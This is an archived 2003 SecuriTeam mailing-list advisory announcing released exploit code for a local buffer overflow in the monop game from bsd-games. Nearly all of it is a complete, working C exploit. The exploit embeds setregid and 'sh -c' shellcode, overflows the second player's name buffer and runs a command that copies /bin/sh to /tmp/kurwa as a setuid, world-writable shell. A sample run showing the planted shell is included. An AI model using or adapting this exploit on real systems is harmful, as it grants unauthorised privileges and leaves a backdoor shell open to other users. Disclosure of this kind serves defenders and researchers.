[EXPL] Monop Local Vulnerability Exploit Code Released

From: SecuriTeam (support_at_securiteam.com)
Date: 08/26/03

  • Next message: SecuriTeam: "[TOOL] Kfence, Kernel Protection against Basic Exploitation Techniques" 
    To: list@securiteam.com
Date: 26 Aug 2003 16:05:43 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Monop Local Vulnerability Exploit Code Released
    ------------------------------------------------------------------------

    SUMMARY

    Monop is reminiscent of the Parker Brother's game Monopoly, and monitors a
    game between 1 to 9 users. A locally exploitable buffer overflow allows
    users to gain the privileges of the other players also playing the game.

    DETAILS

    Exploit:
    /*

    U-N-F http://www.u-n-f.com monosex - monop game local exploit - from
    bsd-games package - by ^sq
    Second player's name buffer overflow.
    Based on qobaiashi's u-n-f advisory.
    Shouts: UNF, wsxz, qobaiashi, sxynx, DragonK, dtorsBob, LSD, s0t4ipv6

    deltha@slack9:~$ ./monosex
    MONOSEX - U-N-F MONOP LOCAL BUFFER OVERFLOW
    [+] Ret addy: 0x8050102
    [+] Shellcode addy: 0xbffff2d0
    uid=102(deltha) gid=20(games) groups=102(deltha)
    ls:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
    BBBBBBBBBBBBBBBBBBBBBBBBBBBBB12: No such file or directory
    459881 -rwsrwxrwx 1 deltha games 628664 Aug 23 01:31 /tmp/kurwa

    */

    #include <stdio.h>
    #include <stdlib.h>
    #define BUFPIPE 512
    #define CMD "rm -f /tmp/kurwa; id; cp /bin/sh /tmp/kurwa; chmod 4777
    /tmp/kurwa; ls -ila /tmp/kurwa "
    #define VULN "/usr/games/monop"

    int main(int argc, char **argv)

    {
       FILE *pr;
       char newline[2]="\n";
       pr = popen(VULN,"w");
       char asd[BUFPIPE];
       char firstplayer[93];
       char buf[300+4];
       char env[1024];
       int ret = 0x8050102;

       char shellcode[] =
       /* setregid (20,20) shellcode */
       "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
       "\xcd\x80"
       /*Lsd sh -c shellcode */
       "\xeb\x22" /* jmp <cmdshellcode+36> */
       "\x59" /* popl %ecx */
       "\x31\xc0" /* xorl %eax,%eax */
       "\x50" /* pushl %eax */
       "\x68""//sh" /* pushl $0x68732f2f */
       "\x68""/bin" /* pushl $0x6e69622f */
       "\x89\xe3" /* movl %esp,%ebx */
       "\x50" /* pushl %eax */
       "\x66\x68""-c" /* pushw $0x632d */
       "\x89\xe7" /* movl %esp,%edi */
       "\x50" /* pushl %eax */
       "\x51" /* pushl %ecx */
       "\x57" /* pushl %edi */
       "\x53" /* pushl %ebx */
       "\x89\xe1" /* movl %esp,%ecx */
       "\x99" /* cdql */
       "\xb0\x0b" /* movb $0x0b,%al */
       "\xcd\x80" /* int $0x80 */
       "\xe8\xd9\xff\xff\xff" /* call <cmdshellcode+2> */
       ;
       printf("MONOSEX - U-N-F MONOP LOCAL BUFFER OVERFLOW\n");
       printf("[+] Ret addy: 0x%x\n", ret);
       printf("[+] Shellcode addy: 0x%x\n", shellcode);

    //firstplayer increment to avoid heap addresses which contains zeros
       memset(firstplayer, 0x42, 92);
       memset(buf, 0x90, 300);
       memcpy(&buf[300], (char *)&ret, 4);
       memcpy(&buf[300 - strlen(shellcode) -
    strlen(CMD)],shellcode,strlen(shellcode));
       memcpy(&buf[300 - strlen(CMD)],CMD,strlen(CMD));

       if (!pr) abort();

    // How many players? 2
       strcpy(asd,"2");
       strcat(asd,newline);
       fputs(asd,pr);
       fflush(pr);

    // Player 1's name:
       fputs(firstplayer,pr);
       strcat(asd,newline);
       fputs(asd,pr);
       fflush(pr);

    // Player 2's name: overflow
       fputs(buf,pr);
       strcat(asd,newline);
       fputs(asd,pr);
       fflush(pr);
       pclose(pr);
       return 0;
     }

    ADDITIONAL INFORMATION

    The information has been provided by ^sq.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[TOOL] Kfence, Kernel Protection against Basic Exploitation Techniques"

    Relevant Pages

    • [EXPL] PicoZip Long Filename Buffer Overflow (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PicoZip Long Filename Buffer Overflow ... most file compression formats and comprehensive feature set makes PicoZip ...
      (Securiteam)
    • [NT] Lhaplus LHA Extended Header Handling Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Lhaplus LHA Extended Header Handling Buffer Overflow ... A vulnerability has been found in Lhaplus. ... This advisory discloses a buffer overflow vulnerability in Lhaplus. ...
      (Securiteam)
    • [NEWS] 0verkill Buffer Overflow Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... $HOME environment variable demonstrates the buffer overflow, ... GNU gdb 5.0 ... vulnerability or to otherwise crash the program. ...
      (Securiteam)
    • [EXPL] Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... An exploitable buffer overflow in Microsoft Windows' DirectSpeechSynthesis ... arbitrary code by overflowing the ModeName parameter of the ActiveX. ... Microsoft Windows DirectSpeechSynthesis Module ...
      (Securiteam)
    • [NT] CA ARCServe Backup for Laptops and Desktops Multiple Buffer Overflow Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... CA ARCServe Backup for Laptops and Desktops Multiple Buffer Overflow ... Remote exploitation of multiple buffer overflow vulnerabilities in ... rxsGetSubDirs, rxsGetServerDBPathName, rxsSetServerOptions, rxsDeleteFile, ...
      (Securiteam)